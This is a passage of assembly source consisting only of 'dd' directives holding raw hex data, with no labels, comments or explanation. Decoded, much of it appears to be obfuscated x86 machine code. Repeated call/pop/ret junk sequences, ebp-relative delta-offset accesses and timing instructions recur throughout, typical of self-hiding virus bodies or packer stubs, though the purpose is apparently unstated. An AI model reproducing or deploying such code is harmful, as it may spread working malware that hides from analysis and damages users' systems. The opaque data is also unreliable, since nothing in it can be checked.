		dd 8B05E422h, 0E415519Dh, 0AD95FF05h, 0E905E42Dh, 11Bh
		dd 17D1BB66h, 3259BD33h, 0B005E4h, 0A5CB05BBh, 2970E616h
		dd 0E400F58Dh, 3C71E405h, 0F8830F61h, 0E8000000h, 0Eh
		dd 0D8F0A148h, 432A13E7h, 860776F2h, 5660E37Bh,	6177B55Bh
		dd 0C8B60F5Bh, 6BAh, 0D98D0900h, 8B05E425h, 119D03C1h
		dd 0C105E422h, 850104E8h, 5E42869h, 89E2F766h, 0E411CD85h
		dd 0F9C82B05h, 0BD89D18Bh, 5E41C1Dh, 6E9h, 51858900h, 8B05E421h
		dd 0E42CF985h, 0E833B705h, 0Fh,	2AF8F8C6h, 66391E3Ah, 5D66A23Ah
		dd 0E93790FCh, 11h, 692EC3C7h, 0C4A06480h, 69961BAEh, 0F62536D8h
		dd 0C0835B66h, 0D59D8B07h, 8305E431h, 850100C0h, 5E41EEDh
		dd 830FD03Bh, 21h, 0D0D9D8Bh, 48E905E4h, 0F000000h, 1080h
		dd 0BE900h, 96F50000h, 0B1013993h, 34269065h, 758D8B0Ch
		dd 8B05E42Dh, 0E41EC59Dh, 1E18305h, 1D840Fh, 95010000h
		dd 5E427C9h, 2D75A583h,	0B7FE05E4h, 0F995890Ah,	0F05E42Ch
		dd 0E9DEBFh, 8D000000h,	0E7B645B5h, 8DBD8B05h, 105E41Bh
		dd 0E41415BDh, 33006A05h, 0E4116D9Dh, 0C195FF05h, 6A05E410h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 5D03C350h, 0A374C237h, 7A6B939h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 56D889C3h, 0E99F5891h, 0Ch, 3CC39D0Fh, 2C298AC4h, 5E46696Ch
		dd 6AFCE183h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 74DCC353h, 6AFC30D5h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 1796C355h, 82C85B21h, 0C67AA528h, 18519589h,	0C02B05E4h
		dd 2725BD89h, 0D22B05E4h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 1AC35141h, 0DF1BBD50h, 0D780D1C1h, 0C233ADDAh
		dd 0D003E8D1h, 7504E983h, 89DA8BF4h, 0E4318D85h, 880D05h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0B52DFAC3h, 7E883h, 0B21A0000h, 0BD0B357Fh
		dd 0F19D2B54h, 5B05E430h, 4860Fh, 0BF660000h, 958BE35Fh
		dd 5E41095h, 658D8BF5h,	6A05E42Ch, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 6705C352h
		dd 0F98B8B49h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 6A5818h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 81E650C3h, 0D9BD0372h, 2905E41Bh,	0E40205BDh
		dd 35BD8305h, 5E421h, 43840Fh, 840F0000h, 0
		dd 0B8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 18919613h, 21B6CF84h, 0EB80D9C4h
		dd 308D8D90h, 0BF05E44Ch, 4CCF2DEDh, 0BF0FE1FFh, 0FDBD83F8h
		dd 5E430h, 45B840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 0BFFF5EC3h, 114F1C94h
		dd 30FDBD83h, 0F0105E4h, 44784h, 699D8B00h, 8305E420h
		dd 0E430FDBDh, 860F0305h, 3FEh,	0EE9h, 49E60800h, 999E7C04h
		dd 0BBFAEB43h, 602D3D8Ch, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0F0C35141h, 12CDF357h, 619F6A06h, 8C6668B7h
		dd 51006AD9h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0EEA11E32h, 1458589h, 0E18005E4h, 56006A04h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 2A115ABAh, 89996989h, 0E4000985h, 0FC90A05h,	13084h
		dd 98D8900h, 8B05E42Ch,	0E42C9D85h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 2A816E43h
		dd 44C77799h, 58E0F85h,	0BF000000h, 523AA787h, 20998533h
		dd 6A05E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 0E9261FC3h, 0B335171Ah, 0B3525050h, 66310FF9h
		dd 5AA4B2BBh, 24048958h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 19h, 81C35141h, 0BECB9293h, 6A006A5Ah, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0B737C356h, 0F568F50Dh, 0E954555Fh, 6, 0C07292B8h, 3481923Eh
		dd 4A5C0A24h, 55006A54h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 89E84259h, 0E40859BDh, 5995FF05h
		dd 6A05E401h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 7B4BC356h, 0F8BF0F36h,	1B499D8Bh
		dd 858905E4h, 5E79F5Fh,	0FFFDBB66h, 1A0E9h, 6ABB6600h
		dd 57858B7Ah, 6A05E79Fh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0A5FDC353h,	27A9BD0Bh
		dd 0C705E4h, 18h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	45C35242h, 0B4E61DDBh, 6347FA1Fh, 19D8B45h, 8B05E425h
		dd 0E79F5BB5h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0E18D89D9h, 8B05E41Dh
		dd 0E42A2185h, 0E9DF8B05h, 10h,	0D06D1CCEh, 0FEA5E459h
		dd 0D431A16Bh, 7B34B337h, 0B70F0689h, 9D858BFFh, 8905E42Ch
		dd 0E40D5585h, 0A18D8905h, 8905E403h, 8E80446h,	28000000h
		dd 0F17C8DFCh, 661FCF63h, 5BBE48BBh, 1C70BB50h,	3489330Fh
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 8BE24F8Eh, 0E41BDDBDh, 57B5FF05h, 6805E79Fh
		dd 0F7E031A6h, 0BE860h,	0D1CE0000h, 5E11A689h, 0C8B022FDh
		dd 0D98B66C1h, 481615Eh, 3ED25924h, 0F605208h, 9E9F0BFh
		dd 0E6000000h, 0CFA7831Dh, 3F3CCCB3h, 858D5B61h, 5E79F5Fh
		dd 68A5DB81h, 5090057Fh, 90D88B66h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 6BC35646h, 776120C9h, 3E5BD8Bh
		dd 95FF05E4h, 5E40159h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 57C35141h, 0D14D63CFh, 0ADDC9C0Eh, 377844BBh
		dd 6A6146h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0EDD001C3h, 25898529h, 85C705E4h,	5E430FDh
		dd 3, 0AE956h, 7FDE0000h, 5DEEC981h, 6D471474h,	5FBD835Bh
		dd 5E79Fh, 50840Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 160424h, 57470000h, 503811C3h, 0D98B6652h
		dd 43E95Bh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 180424h, 51410000h, 898771C3h, 5F57404Ch, 11FD9D01h
		dd 305005E4h, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 0F233235Ch, 81C67886h, 2FD1ABE3h
		dd 0FDBD8316h, 305E430h, 3CB850Fh, 0BD8B0000h, 5E4048Dh
		dd 9F5FBD83h, 0F0005E7h, 3B884h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0EA95A952h
		dd 5FB5FF9Bh, 0B305E79Fh, 1595FF15h, 6A05E41Ch,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0DA84C355h, 3A784AEAh, 26659D8Bh, 0B58B05E4h, 5E79F53h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0CBC35141h
		dd 0ADA61D1Bh, 0A9D0DD9Bh, 106C77Bh, 8B000100h,	0E95650F8h
		dd 10h,	0F072E251h, 0C9EB4883h,	0EFCFB3A0h, 99D50F1Fh
		dd 2434895Bh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 15h,	0FDC35040h, 5FB5FF5Bh, 6A05E79Fh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0F19FC357h
		dd 816B1E1Ch, 8BD2703Dh, 0E42A69BDh, 2D95FF05h,	2305E417h
		dd 0E425FDBDh, 53B58B05h, 6605E79Fh, 8B4E60BBh,	0E41D1D85h
		dd 13E905h, 0C4C60000h,	0FE610904h, 1AFFBA0Fh, 0F3AFA24Dh
		dd 0C4DB0685h, 6D8589FBh, 8905E426h, 0C486h, 0D9BD8B00h
		dd 0F05E41Fh, 688h, 7D9D0B00h, 8B05E404h, 0E4109595h, 4C28305h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 17C35242h
		dd 2D359E9h, 3D97BBC3h,	2C21BD01h, 508905E4h, 2E98BB20h
		dd 858D56FCh, 5E7B384h,	8689FA8Bh, 0B8h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 18h, 0C1C35747h, 0E53579C4h
		dd 278D9589h, 6A05E4h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 0BAC35040h, 99E95736h, 99B05934h, 9F5FB5FFh
		dd 0BD2905E7h, 5E40965h, 104595FFh, 6A05E4h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 77480FC3h
		dd 3198A22Ch, 8890Fh, 8B600000h, 0E40831B5h, 60966105h
		dd 5A77B756h, 61DA8B66h, 0FB8B5050h, 6A965Fh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 2C3A90C3h
		dd 0E99D0F57h, 6, 0D7E8DA52h, 0B5FF19E9h, 5E79F5Fh, 1DD58529h
		dd 95FF05E4h, 5E41365h,	799D8B57h, 5B05E40Dh, 8F9BD83h
		dd 0F0005E4h, 3D84h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 85894D4Dh, 5E42425h, 89E4B350h
		dd 0F572434h, 68Ah, 61958900h, 5F05E42Ch, 2DDB509h, 0B5FF05E4h
		dd 5E79F5Fh, 23058589h,	95FF05E4h, 5E429C5h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 4C35545h, 89C96287h, 0FA65234Eh, 17D99589h
		dd 0B5FF05E4h, 5E79F5Fh, 823ACF81h, 95FF1C4Fh, 5E41971h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0F9C35040h
		dd 3A336AEh, 8166985Ch,	83153BD7h, 0E43125BDh, 840F0205h
		dd 42h,	1205BD89h, 858B05E4h, 5E41191h,	0FD5BD0Bh, 0C605E4h
		dd 0FE900h, 9E260000h, 683F5E83h, 73E9A133h, 0C58AB8C9h
		dd 13E850h, 0E4EF0000h,	6A4F86E3h, 33A2E91Eh, 5C3247E3h
		dd 22874439h, 85C75FA2h, 5E419E5h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0A4C35040h
		dd 80B235B4h, 0F3F9B17h, 68B0FF5h, 8B000000h, 0E413E5BDh
		dd 0F41BE905h, 6AFFFFh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0CD00F1C3h, 8BD28ED1h, 52006AC1h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 0F206EA6Eh, 0F78166DBh, 81664DC9h, 8DC4B5F3h, 0E419D585h
		dd 759D8B05h, 5005E428h, 0E9240489h, 14h, 0F4747D1Ah, 9B046E7Ch
		dd 71B77B2Ah, 0BAB8D9FAh, 7BBC67F2h, 0BF0F006Ah, 8D006AF8h
		dd 0E83C3385h, 0C6BE6005h, 0E9287C8Fh, 11h, 552D1A5Fh
		dd 0A7F371EEh, 4E223B3Fh, 46D054C6h, 0C0836147h, 57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 229E772Ah, 75BCA0BFh, 0F88B904Ah, 60525050h,	66D68B66h
		dd 61CDDCBEh, 8EBF310Fh, 5A6A0C70h, 6A9058h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 897AF6C3h
		dd 0E42DB995h, 6A006A05h, 9FEF8000h, 21A195FFh,	850105E4h
		dd 5E419FDh, 9E7F8D8Dh,	6A05E7h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 9E79EC3h, 0AE23992h
		dd 71BD8BF5h, 0FF05E403h, 5D9D8BD1h, 8305E426h,	0E42995BDh
		dd 850F0105h, 44h, 22CD8D01h, 26A05E4h,	90DFB70Fh, 840F51h
		dd 5F000000h, 0BD8B9050h, 5E42639h, 104595FFh, 6A05E4h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 297CA5C3h, 0DE8B055Eh, 0C50E9h, 0E800h, 815D0000h, 0E83C3DEDh
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 0DE8C4h,	0FAA50000h, 8F6C6AB5h, 9601C489h
		dd 8BB8BDC7h, 0E41739BDh, 0DE85B05h, 0
		dd 5FA454CAh, 0FC23D702h, 0D3D87CFEh, 12E8h, 29317C00h
		dd 0A30378B9h, 0A744D9FEh, 3485C9B6h, 5F9A5C25h, 53006A5Fh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0F25A2502h, 0D5F819C7h, 2E91BD29h, 8B6605E4h, 68858DD8h
		dd 6A05E781h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 0C659C352h, 0F99D8B7Dh, 9005E430h
		dd 0FE9h, 0EDFE4F00h, 5097F83Bh, 0E5396F70h, 0FC842759h
		dd 60525050h, 6E9D88Bh,	0CF000000h, 4124D77Dh, 310F619Fh
		dd 0E990585Ah, 13h, 9A1F944Ah, 0CC1D791Ch, 7C3C9B46h, 0AD605496h
		dd 64E62DA5h, 35FFh, 8B660000h,	258964F9h, 0
		dd 9E9h, 50A84500h, 0B8EA601Bh,	85FF5E35h, 5E4142Dh, 0EE9h
		dd 42784200h, 34F42C91h, 4A1AEA0Ah, 6AAEB108h, 91BD8BFFh
		dd 0FF05E42Bh, 0E43179B5h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 30BA06E2h
		dd 0B7FFCD0Eh, 7E94945h, 47000000h, 85110F9Bh, 0D781A78Ch
		dd 5CB71D1Dh, 2DAD95FFh, 41E905E4h, 66000001h, 0B0F88Bh
		dd 1F2DBD8Bh, 70E605E4h, 0E850Fh, 9E90000h, 12000000h
		dd 5CD7E557h, 0BA334BECh, 613C71E4h, 116830Fh, 0E7810000h
		dd 40983506h, 9E953h, 8E910000h, 4AE4F892h, 5BBD03D2h
		dd 66C8B60Fh, 6BAF98Bh,	29000000h, 0E409A19Dh, 66C18B05h
		dd 0BDABD381h, 2904E8C1h, 0E41999BDh, 0E2F76605h, 2B49BD89h
		dd 0C82B05E4h, 11E9h, 18C91300h, 0F902214Ch, 748BC744h
		dd 0B43798Ah, 0D18B0E13h, 2959D89h, 21E905E4h, 60000000h
		dd 14E9h, 0CED78700h, 0C9936610h, 99127E98h, 6A092F0Fh
		dd 0E4B64848h, 6FD98178h, 61110ED7h, 21C1858Bh,	83F805E4h
		dd 83F907C0h, 8B6000C0h, 0E41715B5h, 218D8905h,	6105E411h
		dd 830FD03Bh, 11h, 12FD9D8Bh, 61E905E4h, 8B000000h, 0E428C19Dh
		dd 258D8B05h, 0F05E415h, 684h, 0E99D8B00h, 0F05E403h, 0E183DBBFh
		dd 3D840F01h, 8B000000h, 0E4209D9Dh, 8E905h, 50D80000h
		dd 5FFE31EBh, 0A583B3BCh, 5E41525h, 9589F8FEh, 5E421C1h
		dd 12E9h, 0E6FCEB00h, 4E2E8EB5h, 508D28BAh, 0D94AD576h
		dd 0E9FCA228h, 0
		dd 0C05DB58Dh, 0BD0B05E7h, 5E430B9h, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0F9F2AC3h
		dd 95FFFEBFh, 5E410C1h,	2C6D8589h, 0EEB905E4h, 6A00000Dh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0E780C351h, 6D9D8BCBh, 0BF05E425h, 452EF1CBh
		dd 6AFCE183h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0CD51C350h, 0FFB70F98h, 29BD8BFCh
		dd 2B05E417h, 0D1BD8BC0h, 0BA05E419h, 0
		dd 32D5BD2Bh, 33AD05E4h, 3E8D1C2h, 4E983D0h, 870FF475h
		dd 6, 10ED8501h, 852905E4h, 5E41069h, 880Dh, 0F1BD8B00h
		dd 8B05E410h, 0E4109595h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0D68CDE20h
		dd 68E0F8Ch, 8B000000h,	0E404659Dh, 658D8B05h, 6A05E42Ch
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0AE31C353h, 8DED703Eh, 0F45C7F43h, 6890Fh
		dd 95010000h, 5E4041Dh,	99F78166h, 0C28B506Ah, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 8B58188Bh, 399D23F8h, 6605E417h
		dd 832FD7BBh, 0E42135BDh, 840F0005h, 37h, 2E6DBD8Bh, 0B805E4h
		dd 89000000h, 0E42AE995h, 308D8D05h, 0E905E44Ch, 11h, 47CEA425h
		dd 1A4D82F7h, 0B1E13073h, 814F8345h, 80E1FF39h,	8166BCC7h
		dd 834583F7h, 0E430FDBDh, 840F0005h, 3F7h, 17C58501h, 0BD8305E4h
		dd 5E430FDh, 0FF840F01h, 0F000003h, 88h, 0FDBD8300h, 305E430h
		dd 3B6860Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 1D9AD6C3h, 2124372Fh, 0FE8BB92Ah
		dd 1DB58960h, 6605E42Ch, 6AD98Ch, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 0F64AFC3h, 0E180F9BFh
		dd 55006A04h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 0D479C5ADh, 8BAC1CBFh, 0E4020D9Dh, 958B6005h
		dd 5E41DF5h, 0A6140B2h,	0F7840FC9h, 0F8000000h,	2C9D858Bh
		dd 6A05E4h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 51F573C3h, 0C07F17D4h, 33FA8B85h,	0E4209985h
		dd 31B53105h, 9005E40Dh, 71ECA2BFh, 8A535068h, 29905FF8h
		dd 0E4088D85h, 6A006A05h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 81D1C356h, 2E3F41DBh
		dd 4E832h, 3FF0000h, 6650001Fh,	448BFE8Bh, 8B0424h, 4244489h
		dd 5E565660h, 6052505Eh, 0F310F61h, 84h, 61585A00h, 3CF78158h
		dd 0FF025F89h, 0E4015995h, 0DDBD8905h, 8905E400h, 0E79F5F85h
		dd 68E0F05h, 8B000000h,	0E42AC19Dh, 1ECE905h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 404BEBC3h, 5660EC0Fh, 605BC68Bh, 1AD5BD8Bh, 0C28105E4h
		dd 57F46C04h, 858B6161h, 5E79F57h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 0C7C35646h,	3B922FCh, 0DF8B6672h
		dd 1800C7h, 8D890000h, 5E4122Dh, 6830Fh, 9D030000h, 5E41DC1h
		dd 9F5BB58Bh, 0B58905E7h, 5E407C9h, 2A21858Bh, 6A05E4h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 9FD631C3h, 0A24F4E3Dh, 0CC44BBA9h, 689684Ah,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 7BC35646h, 30A76E31h
		dd 2C9D858Bh, 6A05E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 6E0254C3h, 3B633D32h, 0DF8B7FC6h
		dd 6A044689h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 3D96C356h, 8166A7FFh, 50A562DFh
		dd 6A243489h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 52F1C352h, 0F4121BAAh,	0B5FFCE02h
		dd 5E79F57h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	34C35545h, 0FE2F2E91h, 3EDEFCDh, 0E407ED9Dh, 9BD3305h
		dd 6805E40Dh, 0A578B38Ch, 73240481h, 8B5AA650h,	0E419899Dh
		dd 5F858D05h, 6A05E79Fh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 999EC356h, 50FAEB43h
		dd 89F88B66h, 0BF0F2404h, 5995FFFAh, 6A05E401h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 43BAC351h, 26ADBD8Bh, 6A6105E4h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0BDF6C355h
		dd 0FEEEC51h, 82h, 0DD958900h, 0C705E42Ch, 0E430FD85h
		dd 305h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 9F86B349h, 7D95BAADh, 0BD838FD5h
		dd 5E79F5Fh, 11840F00h,	81000000h, 132906CFh, 21E91Ah
		dd 9D8B0000h, 5E42C69h,	110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 56F0C351h, 7E86E39h
		dd 2E000000h, 8B5E776Ah, 0CCB34DFDh, 0FDBD835Fh, 305E430h
		dd 33E850Fh, 5E90000h, 18000000h, 9A6E7A7Dh, 9F5FBD83h
		dd 0F0005E7h, 32784h, 0FB8B6600h, 0FFFBBF0Fh, 0E79F5FB5h
		dd 6850F05h, 3000000h, 0E408619Dh, 1595FF05h, 8905E41Ch
		dd 0E4317DB5h, 68C0F05h, 89000000h, 0E410E5BDh,	53B58B05h
		dd 8B05E79Fh, 0E409C1BDh, 106C705h, 0B7000100h,	0BB6696B1h
		dd 0BF502791h, 61F458ACh, 55006A96h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 349469FAh
		dd 0B588356Ah, 0B5FFDA70h, 5E79F5Fh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0AC35545h, 0B1526E62h, 0DE8BA310h
		dd 95FFFA8Bh, 5E4172Dh,	0E9816050h, 108BF250h, 5B61F88Bh
		dd 13419D8Bh, 0B58B05E4h, 5E79F53h, 0BD8B5352h,	5E431B5h
		dd 858B5B5Bh, 5E41D1Dh,	89DBBF0Fh, 0C486h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
		dd 0A91FF9FFh, 958BC5F8h, 5E41095h, 13D8589h, 0B70F05E4h
		dd 4C283D9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	43C35747h, 20508911h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 74C35343h, 0B6057ADAh, 0F60609Fh
		dd 89h,	0C6BB6600h, 8589613Ch, 5E41C99h, 84858D61h, 8105E7B3h
		dd 184CB0EFh, 0B886890Dh, 0F8000000h, 6A006Ah, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 3CB1C6C3h, 8C4B4752h, 3EEE72Dh, 0E40DB59Dh, 5FB5FF05h
		dd 8B05E79Fh, 0E423A59Dh, 4595FF05h, 0F05E410h,	686h, 0B59D2900h
		dd 9605E40Ch, 605064B3h, 0A10DFBEh, 0C28B5169h,	6A96615Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 5ED8C351h, 0F65BF7E6h, 0F8546E8Ch, 5F03BB66h
		dd 9F5FB5FFh, 0B2BF05E7h, 5624EDFCh, 0FF5BDE8Bh, 0E4136595h
		dd 23C78005h, 8F9BD83h,	0F0005E4h, 3784h, 0DBBF0F00h, 5169BB96h
		dd 0F502535h, 480h, 0B8BB6600h,	6A9630h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 59DFA3C3h
		dd 91E91F39h, 9F5FB5FFh, 6A05E7h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h
		dd 59B12DC3h, 0C595FFF9h, 8905E429h, 0E4298D8Dh, 5FB5FF05h
		dd 6A05E79Fh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 4172C357h, 81500EDDh, 197195FFh
		dd 6A05E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0BFC366C3h, 3B305F5h, 3125BD83h, 0F0205E4h
		dd 3984h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 6022CD03h, 81B578ABh, 0A87C48E3h
		dd 91858B48h, 0B705E411h, 0C62Bh, 2D319D89h, 85C705E4h
		dd 5E419E5h, 0
		dd 94BEBF66h, 0FFF516E9h, 4D9D8BFFh, 8B05E412h,	52006AC1h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 0CA0391C3h, 0D5858D55h, 6A05E419h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 550C357h
		dd 8A605094h, 0D78B66E8h, 24048961h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 4AC35646h, 8B7B77ADh, 0E9006AFEh
		dd 14h,	0CFD53D44h, 7D52E271h, 5987417Ch, 52E8AF11h, 0B53D64BBh
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0E78109C3h, 22B48E38h, 8DFBB70Fh,	0E84B2B85h
		dd 65958905h, 8305E417h, 6A05C0h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0D1725DC3h, 0AAC36345h
		dd 665676A2h, 295BF88Bh, 0E428C185h, 8D0F9005h,	0Eh, 61605250h
		dd 5250310Fh, 585A310Fh, 6050585Ah, 0E2C2BF66h,	6A9061h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 1AEC7DC3h, 0A80F3CBCh, 8B6656DAh, 6A006AFEh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 174DC356h, 870FBF3Eh, 4, 1E90BB66h, 6A006Ah,	3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0EDF1BEC3h, 71B5EB44h, 8D0F34E8h, 3,	8BF98B66h, 0E421319Dh
		dd 0A195FF05h, 6A05E421h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 382CC352h, 810F0AA5h
		dd 2, 0E381FD8Ah, 5482DF75h, 9E7F8D8Dh,	6A05E7h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 2D466C3h, 4216E0EEh,	60A1DE0Fh, 0C9D38166h, 0F7B70FF7h
		dd 0AE961h, 408A0000h, 2B5F0314h, 1F5D1B0Bh, 6AD1FFh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
